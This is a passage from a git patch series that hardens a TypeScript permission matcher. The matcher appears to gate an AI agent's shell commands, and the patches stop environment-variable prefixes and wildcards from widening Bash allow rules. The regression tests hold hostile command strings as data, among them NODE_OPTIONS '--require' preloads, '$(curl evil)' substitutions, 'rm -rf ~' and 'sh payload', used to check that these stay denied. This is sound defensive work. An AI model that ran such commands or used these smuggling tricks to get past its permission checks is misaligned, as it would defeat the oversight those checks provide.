i++; - continue; - } - - if (isShellIfsWhitespace(ch)) { - pushWord(); - continue; - } - - if (ch === '#' && current === '') { - break; - } - - current += ch; - } - - if (escaped || quote !== null || substitutionDepth !== 0) { - return null; - } - - pushWord(); - return words; -} - -function countLeadingVariableAssignments(words: readonly string[]): number { - let count = 0; - while (count < words.length && ENV_ASSIGNMENT_REGEX.test(words[count]!)) { - count++; - } - return count; -} - -/** - * Return a shell command with only leading Bash assignment words removed. - * Restrictive deny/ask matching uses this legacy command identity in addition - * to the full env-prefixed identity so allow hardening can never weaken a - * restriction. - */ -export function stripLeadingVariableAssignments(command: string): string { - const words = splitPermissionShellWords(command); - if (words === null) { - return command; - } - const firstCommandWord = countLeadingVariableAssignments(words); - return words.slice(firstCommandWord).join(' '); -} - -/** - * Convert deprecated command-token `:*` syntax to ` *`, but never rewrite - * text inside a leading environment assignment word. - */ -function rewriteLegacyCommandColonStar(specifier: string): string { - const words = splitPermissionShellWords(specifier); - if (words === null) { - return specifier; - } - return words - .map((word, index) => { - if ( - index < countLeadingVariableAssignments(words) && - ENV_ASSIGNMENT_REGEX.test(word) - ) { - return word; - } - return word.replace(/:\*/g, ' *'); - }) - .join(' '); -} - -''' - text = text[:helper_start] + new_helpers + text[helper_end:] - rule_path.write_text(text) - - pm_path = Path('packages/core/src/permissions/permission-manager.ts') - pm = pm_path.read_text() - marker = '''const DECISION_PRIORITY: Readonly> = { - deny: 3, - ask: 2, - default: 1, - allow: 0, -}; -''' - helper = marker + '''\n/** - * Restrictive shell rules are evaluated against both the full execution - * identity and the legacy command identity. Strip leading assignments from - * the rule as well as the command for the latter so adding/changing an env - * prefix can never weaken an explicit deny or ask rule. - */ -function getRestrictiveRuleForLegacyShellIdentity( - rule: PermissionRule, -): PermissionRule { - if (rule.specifierKind !== 'command' || !rule.specifier) { - return rule; - } - const strippedSpecifier = stripLeadingVariableAssignments(rule.specifier); - return strippedSpecifier === rule.specifier - ? rule - : { ...rule, specifier: strippedSpecifier }; -} -''' - if marker not in pm: - raise SystemExit('permission-manager insertion marker not found') - pm = pm.replace(marker, helper, 1) - needle = "matchesRule(rule, ...restrictiveMatchArgs, 'canonical')" - count = pm.count(needle) - if count < 4: - raise SystemExit(f'expected restrictive match sites, found {count}') - pm = pm.replace( - needle, - "matchesRule(\n getRestrictiveRuleForLegacyShellIdentity(rule),\n ...restrictiveMatchArgs,\n 'canonical',\n )", - ) - pm_path.write_text(pm) - - test_path = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') - tests = test_path.read_text() - old_glob = ''' it('keeps glob-valued env assignments intact instead of normalizing them to glob', () => { - expect( - matchesCommandPattern( - 'NODE_OPTIONS=* npm *', - 'NODE_OPTIONS=--require=*evil.cjs npm --version', - ), - ).toBe(true); - expect( - matchesCommandPattern( - 'NODE_OPTIONS=--require=*evil.cjs npm --version', - 'NODE_OPTIONS=--require=*evil.cjs npm --version', - ), - ).toBe(true); - expect(matchesCommandPattern('FOO=? npm', 'FOO=? npm')).toBe(true); - }); -''' - new_glob = ''' it('treats wildcard characters inside env assignments as literal identity', () => { - expect( - matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=* npm --version'), - ).toBe(true); - expect( - matchesCommandPattern( - 'NODE_OPTIONS=* npm *', - 'NODE_OPTIONS=--require=*evil.cjs npm --version', - ), - ).toBe(false); - expect( - matchesCommandPattern( - 'NODE_OPTIONS=--require=*evil.cjs npm --version', - 'NODE_OPTIONS=--require=*evil.cjs npm --version', - ), - ).toBe(true); - expect(matchesCommandPattern('FOO=? npm', 'FOO=? npm')).toBe(true); - }); -''' - if old_glob not in tests: - raise SystemExit('env glob test block not found') - tests = tests.replace(old_glob, new_glob, 1) - - old_r3 = ''' it('keeps env-value wildcards inside the assignment shell word', () => { - expect( - matchesCommandPattern( - 'NODE_OPTIONS=* npm *', - 'NODE_OPTIONS=x sh -c evil npm', - ), - ).toBe(false); - expect( - matchesCommandPattern( - 'NODE_OPTIONS=* npm *', - 'NODE_OPTIONS=--require=*evil.cjs npm --version', - ), - ).toBe(true); - }); -''' - new_r3 = ''' it('never lets env-value wildcard text consume another assignment value', () => { - expect( - matchesCommandPattern( - 'NODE_OPTIONS=* npm *', - 'NODE_OPTIONS=x sh -c evil npm', - ), - ).toBe(false); - expect( - matchesCommandPattern( - 'NODE_OPTIONS=* npm *', - 'NODE_OPTIONS=--require=*evil.cjs npm --version', - ), - ).toBe(false); - expect( - matchesCommandPattern('NODE_OPTIONS=* npm *', 'NODE_OPTIONS=* npm --version'), - ).toBe(true); - }); -''' - if old_r3 not in tests: - raise SystemExit('R3 env wildcard block not found') - tests = tests.replace(old_r3, new_r3, 1) - - colon_anchor = ''' expect(parseRule('Bash(npm --registry=https://x:*)').specifier).toBe( - 'npm --registry=https://x *', - ); -''' - colon_extra = colon_anchor + ''' expect(parseRule('Bash(curl:*.evil.com)').specifier).toBe( - 'curl *.evil.com', - ); -''' - if colon_anchor not in tests: - raise SystemExit('colon-star assertion anchor not found') - tests = tests.replace(colon_anchor, colon_extra, 1) - - final_marker = ''' it('round-trips colon-star env values through generated rules', async () => { - const command = 'FOO=a:* npm install'; - const rules = await extractCommandRules(command); - expect(rules).toEqual(['FOO=a:* npm install']); - expect(parseRule(`Bash(${rules[0]})`).specifier).toBe(rules[0]); - const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); - pm.initialize(); - await expect( - pm.evaluate({ toolName: 'run_shell_command', command, cwd: '/repo' }), - ).resolves.toBe('allow'); - }); -''' - r5_tests = final_marker + '''\n it('keeps permission wildcards from changing the Bash command word', () => { - expect( - matchesCommandPattern('FOO=* ls *', 'FOO=x\\\\ ls curl evil'), - ).toBe(false); - expect(matchesCommandPattern('git*', 'gitFOO=1 sh payload')).toBe(false); - expect( - matchesCommandPattern( - 'FOO=\\\\* npm install', - 'FOO=\\\\x rm -rf ~ npm install', - ), - ).toBe(false); - expect(matchesCommandPattern('FOO=* ls', 'FOO=$(id) ls')).toBe(false); - }); - - it('keeps restrictive env-prefixed rules fail-closed after normalization', async () => { - const commentPm = new PermissionManager( - makeConfig(['Bash(*)'], [], ['Bash(FOO=* npm test)']), - ); - commentPm.initialize(); - await expect( - commentPm.evaluate({ - toolName: 'run_shell_command', - command: 'FOO=1 npm test # comment', - cwd: '/repo', - }), - ).resolves.toBe('deny'); - - const substitutionPm = new PermissionManager( - makeConfig(['Bash(*)'], [], ['Bash(NODE_OPTIONS=$(*) node)']), - ); - substitutionPm.initialize(); - await expect( - substitutionPm.evaluate({ - toolName: 'run_shell_command', - command: 'NODE_OPTIONS=$(curl evil) node', - cwd: '/repo', - }), - ).resolves.toBe('deny'); - }); -''' - if final_marker not in tests: - raise SystemExit('final test anchor not found') - tests = tests.replace(final_marker, r5_tests, 1) - test_path.write_text(tests) - PY - - - name: Remove one-shot workflow and commit - shell: bash - run: | - rm -f .github/workflows/fix-pr-10212-r6.yml - git config user.name "SLP-DEV1" - git config user.email "298325363+SLP-DEV1@users.noreply.github.com" - git add packages/core/src/permissions/rule-parser.ts \ - packages/core/src/permissions/permission-manager.ts \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - .github/workflows/fix-pr-10212-r6.yml - git diff --cached --check - git commit -m "fix(permissions): harden env-prefixed Bash word matching" - git push origin HEAD:fix/10197-env-prefix-bash-rules From 48b9e14ba894781e77554861ab35e267a0a6f4e2 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Mon, 31 Aug 2026 21:26:30 +0200 Subject: [PATCH 34/36] fix(core): harden env-prefix Bash matcher --- packages/core/src/permissions/rule-parser.ts | 526 ++++++++++++------- 1 file changed, 331 insertions(+), 195 deletions(-) diff --git a/packages/core/src/permissions/rule-parser.ts b/packages/core/src/permissions/rule-parser.ts index c4ad75e7632..1f230742b22 100644 --- a/packages/core/src/permissions/rule-parser.ts +++ b/packages/core/src/permissions/rule-parser.ts @@ -406,21 +406,16 @@ export function parseRule(raw: string): PermissionRule { let rawSpecifier = trimmed.substring(openParen + 1, trimmed.length - 1); const canonicalName = resolveToolName(toolPart); - // Handle legacy `:*` suffix for command specifiers (deprecated, equivalent to ` *`) - // e.g. "Bash(git:*)" → specifier becomes "git *" - // Only applies to command-type specifiers to avoid interfering with key:value syntax + // Handle legacy `:*` syntax for command specifiers (deprecated, equivalent + // to inserting a space before `*`). Leading environment assignments are + // intentionally opaque: `FOO=a:*` is an assignment value, not legacy rule + // syntax. The command portion is rewritten even when `:*` appears mid-token + // (`curl:*.evil.com`, `git:**`). const specifierKind = rawSpecifier ? getSpecifierKind(canonicalName) : undefined; if (specifierKind === 'command') { - // Legacy `:*` is token syntax; never rewrite env assignment values. - rawSpecifier = rawSpecifier.replace( - /(^|[ \t\n])([^ \t\n]+):\*(?=$|[ \t\n])/g, - (match, leadingWhitespace: string, token: string) => - ENV_ASSIGNMENT_REGEX.test(token) - ? match - : `${leadingWhitespace}${token} *`, - ); + rawSpecifier = rewriteLegacyCommandColonStar(rawSpecifier); } // For literal specifier kind, extract `key:value` param matchers. @@ -954,72 +949,26 @@ export function splitCompoundCommand(command: string): string[] { return commands.length > 0 ? commands : [command]; } -/** - * Match a shell command against a glob pattern. - * - * Key semantics (from Claude Code docs): - * - * 1. `*` wildcard can appear at any position (head, middle, tail). - * - * 2. **Word boundary rule**: A space before `*` enforces a word boundary. - * - `Bash(ls *)` matches `ls -la` but NOT `lsof` - * - `Bash(ls*)` matches both `ls -la` and `lsof` - * - * 3. **Shell operator awareness**: Patterns don't match across operator - * boundaries. We extract only the first simple command before matching. - * - * 4. Without `*`, uses prefix matching for backward compatibility. - * `Bash(git commit)` matches `git commit -m "test"`. - * - * 5. `Bash(*)` is equivalent to `Bash` and matches any command. - */ -export function matchesCommandPattern( - pattern: string, - command: string, -): boolean { - // This function matches a single pattern against a single simple command. - // Compound command splitting is handled by the caller (PermissionManager). +/** Match the command portion after any leading environment assignments. */ +function matchesCommandPatternCore(pattern: string, command: string): boolean { const normalizedCommand = normalizeCommandForPermissionMatch(command); const normalizedPattern = collapseUnquotedWhitespace( trimShellIfsWhitespace(pattern), ); - // Special case: lone `*` matches any single command. if (normalizedPattern === '*') { return true; } - // Assignment-only rules are identities, never command prefixes. - if ( - isAssignmentOnlyPermissionPattern(normalizedPattern) && - !isAssignmentOnlyPermissionPattern(normalizedCommand) - ) { - return false; - } - if (!normalizedPattern.includes('*')) { - // An assignment-only rule is an identity, not a command prefix. Without - // this guard `Bash(FOO=bar)` would authorize `FOO=bar `. - if (isAssignmentOnlyPermissionPattern(normalizedPattern)) { - return normalizedCommand === normalizedPattern; - } - - // No wildcards: prefix matching (backward compat). - // "git commit" matches "git commit" and "git commit -m test" - // but NOT "gitcommit". return ( normalizedCommand === normalizedPattern || normalizedCommand.startsWith(normalizedPattern + ' ') ); } - // Build regex from glob pattern with word-boundary semantics. - // Wildcards in leading NAME=value words cannot cross shell-word boundaries. - const assignmentValueWildcards = - findAssignmentValueWildcardPositions(normalizedPattern); let regex = '^'; let pos = 0; - while (pos < normalizedPattern.length) { const starIdx = normalizedPattern.indexOf('*', pos); if (starIdx === -1) { @@ -1028,20 +977,7 @@ export function matchesCommandPattern( } const literalBefore = normalizedPattern.substring(pos, starIdx); - - if (assignmentValueWildcards.literal.has(starIdx)) { - // A wildcard written inside quotes or shell substitution in a leading - // assignment is shell syntax, not a permission wildcard. Matching it - // literally prevents the rule from authorizing different executable - // substitution text. - regex += escapeRegex(literalBefore); - regex += '\\*'; - } else if (assignmentValueWildcards.bounded.has(starIdx)) { - // Unquoted assignment-value wildcards may vary, but never consume the - // next shell word and thereby change the command identity. - regex += escapeRegex(literalBefore); - regex += '[^ ]*'; - } else if (starIdx > 0 && normalizedPattern[starIdx - 1] === ' ') { + if (starIdx > 0 && normalizedPattern[starIdx - 1] === ' ') { const literalWithoutTrailingSpace = literalBefore.slice(0, -1); regex += escapeRegex(literalWithoutTrailingSpace); regex += '( .*)?'; @@ -1049,10 +985,8 @@ export function matchesCommandPattern( regex += escapeRegex(literalBefore); regex += '.*'; } - pos = starIdx + 1; } - regex += '$'; try { @@ -1062,6 +996,74 @@ export function matchesCommandPattern( } } +/** + * Match a shell command against a glob pattern. + * + * Key semantics (from Claude Code docs): + * + * 1. `*` wildcard can appear at any position (head, middle, tail). + * + * 2. **Word boundary rule**: A space before `*` enforces a word boundary. + * - `Bash(ls *)` matches `ls -la` but NOT `lsof` + * - `Bash(ls*)` matches both `ls -la` and `lsof` + * + * 3. **Shell operator awareness**: Patterns don't match across operator + * boundaries. We extract only the first simple command before matching. + * + * 4. Without `*`, uses prefix matching for backward compatibility. + * `Bash(git commit)` matches `git commit -m "test"`. + * + * 5. `Bash(*)` is equivalent to `Bash` and matches any command. + * + * Leading Bash assignment words are handled before the legacy glob matcher. + * They are exact execution identity, not permission globs. This prevents a + * persisted literal `NAME=*` value or substitution text from widening into a + * rule that can consume a different executable command. + */ +export function matchesCommandPattern( + pattern: string, + command: string, +): boolean { + const normalizedPattern = collapseUnquotedWhitespace( + trimShellIfsWhitespace(pattern), + ); + + // Deliberate global catch-all; unlike assignment-local stars this is a + // permission wildcard by definition. + if (normalizedPattern === '*') { + return true; + } + + const patternSplit = splitLeadingShellAssignments(pattern); + const commandSplit = splitLeadingShellAssignments(command); + if ( + patternSplit.assignments.length > 0 || + commandSplit.assignments.length > 0 + ) { + if (patternSplit.assignments.length !== commandSplit.assignments.length) { + return false; + } + for (let i = 0; i < patternSplit.assignments.length; i++) { + if (patternSplit.assignments[i] !== commandSplit.assignments[i]) { + return false; + } + } + + const patternRemainder = normalizeCommandForPermissionMatch( + patternSplit.remainder, + ); + const commandRemainder = normalizeCommandForPermissionMatch( + commandSplit.remainder, + ); + if (!patternRemainder || !commandRemainder) { + return patternRemainder === commandRemainder; + } + return matchesCommandPatternCore(patternSplit.remainder, commandSplit.remainder); + } + + return matchesCommandPatternCore(pattern, command); +} + /** * Match a glob pattern against a value using linear-time greedy matching. * `*` matches any substring (including empty). Case-insensitive to match @@ -1165,7 +1167,9 @@ function escapeRegex(s: string): string { return s.replace(/[.+?^${}()|[\]\\]/g, '\\$&'); } -export const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/; +/** Bash assignment words, including append and indexed assignment forms. */ +export const ENV_ASSIGNMENT_REGEX = + /^[A-Za-z_][A-Za-z0-9_]*(?:\[[^\]\r\n]*\])?\+?=/; function isShellIfsWhitespace(ch: string): boolean { return ch === ' ' || ch === '\t' || ch === '\n'; @@ -1225,8 +1229,6 @@ function permissionMatchTokens(command: string): string[] { 'pattern' in token && typeof token.pattern === 'string' ) { - // shell-quote represents unquoted * / ? words as glob tokens. Keep - // the original word so env assignments remain recognizable. tokens.push(restore(token.pattern)); } else if (typeof token.op === 'string') { tokens.push(token.op); @@ -1236,29 +1238,263 @@ function permissionMatchTokens(command: string): string[] { return tokens; } +interface LeadingAssignmentSplit { + assignments: string[]; + remainder: string; + remainderStart: number; +} + +function skipSingleQuotedShellText(value: string, start: number): number { + for (let i = start; i < value.length; i++) { + if (value[i] === "'") return i + 1; + } + return value.length; +} + +function skipBacktickShellText(value: string, start: number): number { + for (let i = start; i < value.length; i++) { + const ch = value[i]!; + if (ch === '\\') { + i++; + continue; + } + if (ch === '`') return i + 1; + if (ch === '$' && value[i + 1] === '(') { + i = skipParenthesizedShellText(value, i + 2) - 1; + continue; + } + if (ch === '$' && value[i + 1] === '{') { + i = skipBracedShellText(value, i + 2) - 1; + } + } + return value.length; +} + +function skipDoubleQuotedShellText(value: string, start: number): number { + for (let i = start; i < value.length; i++) { + const ch = value[i]!; + if (ch === '\\') { + i++; + continue; + } + if (ch === '"') return i + 1; + if (ch === '`') { + i = skipBacktickShellText(value, i + 1) - 1; + continue; + } + if (ch === '$' && value[i + 1] === '(') { + i = skipParenthesizedShellText(value, i + 2) - 1; + continue; + } + if (ch === '$' && value[i + 1] === '{') { + i = skipBracedShellText(value, i + 2) - 1; + } + } + return value.length; +} + +function skipBracedShellText(value: string, start: number): number { + let depth = 1; + for (let i = start; i < value.length; i++) { + const ch = value[i]!; + if (ch === '\\') { + i++; + continue; + } + if (ch === "'") { + i = skipSingleQuotedShellText(value, i + 1) - 1; + continue; + } + if (ch === '"') { + i = skipDoubleQuotedShellText(value, i + 1) - 1; + continue; + } + if (ch === '`') { + i = skipBacktickShellText(value, i + 1) - 1; + continue; + } + if (ch === '$' && value[i + 1] === '(') { + i = skipParenthesizedShellText(value, i + 2) - 1; + continue; + } + if (ch === '$' && value[i + 1] === '{') { + depth++; + i++; + continue; + } + if (ch === '}' && --depth === 0) return i + 1; + } + return value.length; +} + +function skipParenthesizedShellText(value: string, start: number): number { + let depth = 1; + for (let i = start; i < value.length; i++) { + const ch = value[i]!; + if (ch === '\\') { + i++; + continue; + } + if (ch === "'") { + i = skipSingleQuotedShellText(value, i + 1) - 1; + continue; + } + if (ch === '"') { + i = skipDoubleQuotedShellText(value, i + 1) - 1; + continue; + } + if (ch === '`') { + i = skipBacktickShellText(value, i + 1) - 1; + continue; + } + if ( + (ch === '$' || ch === '<' || ch === '>') && + value[i + 1] === '(' + ) { + depth++; + i++; + continue; + } + if (ch === '$' && value[i + 1] === '{') { + i = skipBracedShellText(value, i + 2) - 1; + continue; + } + if (ch === '(') { + depth++; + } else if (ch === ')' && --depth === 0) { + return i + 1; + } + } + return value.length; +} + +function findShellWordEnd(value: string, start: number): number { + for (let i = start; i < value.length; i++) { + const ch = value[i]!; + if (ch === '\\') { + i++; + continue; + } + if (ch === "'") { + i = skipSingleQuotedShellText(value, i + 1) - 1; + continue; + } + if (ch === '"') { + i = skipDoubleQuotedShellText(value, i + 1) - 1; + continue; + } + if (ch === '`') { + i = skipBacktickShellText(value, i + 1) - 1; + continue; + } + if ( + (ch === '$' || ch === '<' || ch === '>') && + value[i + 1] === '(' + ) { + i = skipParenthesizedShellText(value, i + 2) - 1; + continue; + } + if (ch === '$' && value[i + 1] === '{') { + i = skipBracedShellText(value, i + 2) - 1; + continue; + } + if (isShellIfsWhitespace(ch)) return i; + } + return value.length; +} + +/** + * Split only the leading Bash assignment words from a simple command. + * Nested substitutions and quoted/escaped IFS whitespace stay inside the + * assignment word, so executable text cannot be mistaken for assignment data. + */ +function splitLeadingShellAssignments(value: string): LeadingAssignmentSplit { + const assignments: string[] = []; + let i = 0; + while (i < value.length && isShellIfsWhitespace(value[i]!)) i++; + + while (i < value.length) { + const wordStart = i; + const wordEnd = findShellWordEnd(value, wordStart); + const word = value.slice(wordStart, wordEnd); + if (!ENV_ASSIGNMENT_REGEX.test(word)) { + return { + assignments, + remainder: trimShellIfsWhitespace(value.slice(wordStart)), + remainderStart: wordStart, + }; + } + assignments.push(word); + i = wordEnd; + while (i < value.length && isShellIfsWhitespace(value[i]!)) i++; + } + + return { assignments, remainder: '', remainderStart: value.length }; +} + +function rewriteUnquotedColonStars(value: string): string { + let result = ''; + for (let i = 0; i < value.length; i++) { + const ch = value[i]!; + if (ch === '\\') { + result += value.slice(i, Math.min(i + 2, value.length)); + i++; + continue; + } + + let end: number | undefined; + if (ch === "'") { + end = skipSingleQuotedShellText(value, i + 1); + } else if (ch === '"') { + end = skipDoubleQuotedShellText(value, i + 1); + } else if (ch === '`') { + end = skipBacktickShellText(value, i + 1); + } else if ( + (ch === '$' || ch === '<' || ch === '>') && + value[i + 1] === '(' + ) { + end = skipParenthesizedShellText(value, i + 2); + } else if (ch === '$' && value[i + 1] === '{') { + end = skipBracedShellText(value, i + 2); + } + + if (end !== undefined) { + result += value.slice(i, end); + i = end - 1; + continue; + } + + if (ch === ':' && value[i + 1] === '*') { + result += ' *'; + i++; + continue; + } + result += ch; + } + return result; +} + +function rewriteLegacyCommandColonStar(specifier: string): string { + const { remainderStart } = splitLeadingShellAssignments(specifier); + if (remainderStart >= specifier.length) return specifier; + return ( + specifier.slice(0, remainderStart) + + rewriteUnquotedColonStars(specifier.slice(remainderStart)) + ); +} + /** - * Return a shell command with only leading NAME=value assignments removed. + * Return a shell command with only leading assignment words removed. * Restrictive deny/ask matching uses this legacy identity in addition to the - * full identity so the new allow hardening can never narrow a restriction. + * full identity so allow hardening can never narrow a restriction. */ export function stripLeadingVariableAssignments(command: string): string { const trimmed = trimShellIfsWhitespace(command); if (!trimmed) return trimmed; - try { - const tokens = permissionMatchTokens(trimmed); - let firstCommandToken = 0; - while ( - firstCommandToken < tokens.length && - ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) - ) { - firstCommandToken++; - } - if (firstCommandToken === 0) return trimmed; - return tokens.slice(firstCommandToken).join(' '); - } catch { - return trimmed; - } + const split = splitLeadingShellAssignments(trimmed); + if (split.assignments.length === 0) return trimmed; + return normalizeCommandForPermissionMatch(split.remainder); } /** Collapse Bash-IFS whitespace outside quotes while retaining quotes. */ @@ -1305,112 +1541,12 @@ function collapseUnquotedWhitespace(command: string): string { return result; } -function isAssignmentOnlyPermissionPattern(pattern: string): boolean { - try { - const tokens = permissionMatchTokens(pattern); - return ( - tokens.length > 0 && - tokens.every((token) => ENV_ASSIGNMENT_REGEX.test(token)) - ); - } catch { - return false; - } -} - -function findAssignmentValueWildcardPositions(pattern: string): { - bounded: Set; - literal: Set; -} { - const bounded = new Set(); - const literal = new Set(); - let quote: "'" | '"' | '`' | null = null; - let escaped = false; - let wordStart = 0; - let leadingAssignments = true; - let substitutionDepth = 0; - - const isLeadingAssignmentWildcard = (index: number): boolean => - leadingAssignments && - ENV_ASSIGNMENT_REGEX.test(pattern.slice(wordStart, index)); - - for (let i = 0; i < pattern.length; i++) { - const ch = pattern[i]!; - if (escaped) { - escaped = false; - continue; - } - if (ch === '\\' && quote !== "'") { - escaped = true; - continue; - } - if (quote) { - if (ch === '*' && isLeadingAssignmentWildcard(i)) { - literal.add(i); - } - if (ch === quote) quote = null; - continue; - } - if (ch === "'" || ch === '"' || ch === '`') { - quote = ch; - continue; - } - if ( - (ch === '$' || ch === '<' || ch === '>') && - pattern[i + 1] === '(' - ) { - substitutionDepth++; - i++; - continue; - } - if (substitutionDepth > 0) { - if (ch === '(') { - substitutionDepth++; - } else if (ch === ')') { - substitutionDepth--; - } else if (ch === '*' && isLeadingAssignmentWildcard(i)) { - literal.add(i); - } - continue; - } - if (ch === ' ') { - if (leadingAssignments) { - const word = pattern.slice(wordStart, i); - if (word && !ENV_ASSIGNMENT_REGEX.test(word)) { - leadingAssignments = false; - } - } - wordStart = i + 1; - continue; - } - if (ch === '*' && isLeadingAssignmentWildcard(i)) { - bounded.add(i); - } - } - - return { bounded, literal }; -} - function normalizeCommandForPermissionMatch(command: string): string { const trimmed = trimShellIfsWhitespace(command); if (!trimmed) return trimmed; try { - const tokens = permissionMatchTokens(trimmed); - let firstCommandToken = 0; - while ( - firstCommandToken < tokens.length && - ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) - ) { - firstCommandToken++; - } - - // Allow rules bind to the complete env-prefixed execution identity, but - // Bash-IFS whitespace outside quotes is canonicalized on both sides. - if (firstCommandToken > 0) { - return collapseUnquotedWhitespace(trimmed); - } - - return tokens.join(' '); + return permissionMatchTokens(trimmed).join(' '); } catch { return collapseUnquotedWhitespace(trimmed); } From 72c09250bd06a16655a1fd56b46ac0e67bf071cf Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Mon, 31 Aug 2026 21:31:16 +0200 Subject: [PATCH 35/36] test(core): pin env-prefix matcher regressions --- .../rule-parser.env-prefix.test.ts | 97 ++++++++++++++++++- 1 file changed, 92 insertions(+), 5 deletions(-) diff --git a/packages/core/src/permissions/rule-parser.env-prefix.test.ts b/packages/core/src/permissions/rule-parser.env-prefix.test.ts index bfdce67cd2f..4abd1581f08 100644 --- a/packages/core/src/permissions/rule-parser.env-prefix.test.ts +++ b/packages/core/src/permissions/rule-parser.env-prefix.test.ts @@ -36,13 +36,18 @@ describe('matchesCommandPattern environment prefixes', () => { expect(matchesCommandPattern('python3 *', 'python3 -c "print(1)"')).toBe( true, ); + expect(matchesCommandPattern('ls*', 'lsof')).toBe(true); + expect(matchesCommandPattern('ls*', 'ls -la')).toBe(true); }); - it('does not let static env prefixes inherit exact or prefix rules', () => { + it('does not let static env prefixes inherit exact, prefix, or glob rules', () => { expect( matchesCommandPattern('npm --version', 'FOO=bar npm --version'), ).toBe(false); expect(matchesCommandPattern('npm', 'FOO=bar npm --version')).toBe(false); + expect( + matchesCommandPattern('git*', 'gitFOO=1 sh /tmp/payload.sh'), + ).toBe(false); }); it('does not let NODE_OPTIONS widen an npm allow rule', () => { @@ -103,19 +108,21 @@ describe('matchesCommandPattern environment prefixes', () => { ); }); - it('keeps glob-valued env assignments intact instead of normalizing them to glob', () => { + it('treats stars in env assignment values as literal execution identity', () => { expect( matchesCommandPattern( 'NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version', ), - ).toBe(true); + ).toBe(false); expect( matchesCommandPattern( 'NODE_OPTIONS=--require=*evil.cjs npm --version', 'NODE_OPTIONS=--require=*evil.cjs npm --version', ), ).toBe(true); + expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(false); + expect(matchesCommandPattern('FOO=*', 'FOO=*')).toBe(true); expect(matchesCommandPattern('FOO=? npm', 'FOO=? npm')).toBe(true); }); @@ -124,6 +131,27 @@ describe('matchesCommandPattern environment prefixes', () => { expect(matchesCommandPattern('FOO=bar', 'FOO=bar curl evil.sh')).toBe( false, ); + expect(matchesCommandPattern('FOO=*', 'FOO=* curl evil.sh')).toBe(false); + }); + + it('recognizes append and indexed Bash assignments', () => { + expect(matchesCommandPattern('npm', 'FOO[0]=x npm')).toBe(false); + expect(matchesCommandPattern('npm', 'FOO+=x npm')).toBe(false); + expect(matchesCommandPattern('FOO[0]=x npm', 'FOO[0]=x npm')).toBe(true); + expect(matchesCommandPattern('FOO+=x npm', 'FOO+=x npm')).toBe(true); + }); + + it('does not let assignment syntax absorb executable shell text', () => { + expect(matchesCommandPattern('FOO=* ls', 'FOO=$(id) ls')).toBe(false); + expect( + matchesCommandPattern( + 'FOO=\\* npm install', + 'FOO=\\x rm -rf ~ npm install', + ), + ).toBe(false); + expect( + matchesCommandPattern('FOO=* ls *', 'FOO=x\\ ls curl evil'), + ).toBe(false); }); it('keeps the intentional Bash(*) allow-all behavior', () => { @@ -170,6 +198,32 @@ describe('restrictive rules retain legacy env-prefix coverage', () => { expect(askPm.hasMatchingAskRule(askCtx)).toBe(true); }); + it('strips env identities from both sides for restrictive fallback matching', async () => { + const commentPm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(FOO=* npm test)']), + ); + commentPm.initialize(); + await expect( + commentPm.evaluate({ + toolName: 'run_shell_command', + command: 'FOO=1 npm test # x', + cwd: '/repo', + }), + ).resolves.toBe('deny'); + + const substitutionPm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(NODE_OPTIONS=$(*) node)']), + ); + substitutionPm.initialize(); + await expect( + substitutionPm.evaluate({ + toolName: 'run_shell_command', + command: 'NODE_OPTIONS=$(curl evil) node', + cwd: '/repo', + }), + ).resolves.toBe('deny'); + }); + it('hardens the production hasRelevantRules gate', async () => { const pm = new PermissionManager(makeConfig([], [], ['Bash(rm -rf *)'])); pm.initialize(); @@ -212,6 +266,28 @@ describe('env-prefixed grant generation and AUTO classification', () => { ).resolves.toBe('allow'); }); + it('does not turn a literal star in a generated env value into a grant wildcard', async () => { + const rules = await extractCommandRules('NODE_OPTIONS=* npm install'); + expect(rules).toEqual(['NODE_OPTIONS=* npm install']); + + const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); + pm.initialize(); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'NODE_OPTIONS=* npm install', + cwd: '/repo', + }), + ).resolves.toBe('allow'); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'NODE_OPTIONS=--require=/tmp/preload.cjs npm install', + cwd: '/repo', + }), + ).resolves.not.toBe('allow'); + }); + it('classifies env-prefixed interpreter allows as dangerous in AUTO mode', () => { const python = parseRule('Bash(X=1 python *)'); const npx = parseRule('Bash(FOO=bar npx *)'); @@ -223,11 +299,12 @@ describe('env-prefixed grant generation and AUTO classification', () => { describe('R3 env-prefix regressions', () => { it('does not widen wildcard assignment-only rules into commands', () => { - expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(true); + expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(false); + expect(matchesCommandPattern('FOO=*', 'FOO=*')).toBe(true); expect(matchesCommandPattern('FOO=*', 'FOO=bar curl evil.sh')).toBe(false); }); - it('keeps env-value wildcards inside the assignment shell word', () => { + it('keeps env-value stars literal inside the assignment shell word', () => { expect( matchesCommandPattern( 'NODE_OPTIONS=* npm *', @@ -239,6 +316,12 @@ describe('R3 env-prefix regressions', () => { 'NODE_OPTIONS=* npm *', 'NODE_OPTIONS=--require=*evil.cjs npm --version', ), + ).toBe(false); + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=* npm --version', + ), ).toBe(true); }); @@ -282,6 +365,10 @@ describe('R3 env-prefix regressions', () => { it('keeps legacy colon-star syntax out of env values', () => { expect(parseRule('Bash(git:*)').specifier).toBe('git *'); + expect(parseRule('Bash(curl:*.evil.com)').specifier).toBe( + 'curl *.evil.com', + ); + expect(parseRule('Bash(git:**)').specifier).toBe('git **'); expect(parseRule('Bash(FOO=a:* npm install)').specifier).toBe( 'FOO=a:* npm install', ); From da1a3058a9997de2a3af623f0cbbe0c3ab3fbc3c Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Mon, 31 Aug 2026 21:34:32 +0200 Subject: [PATCH 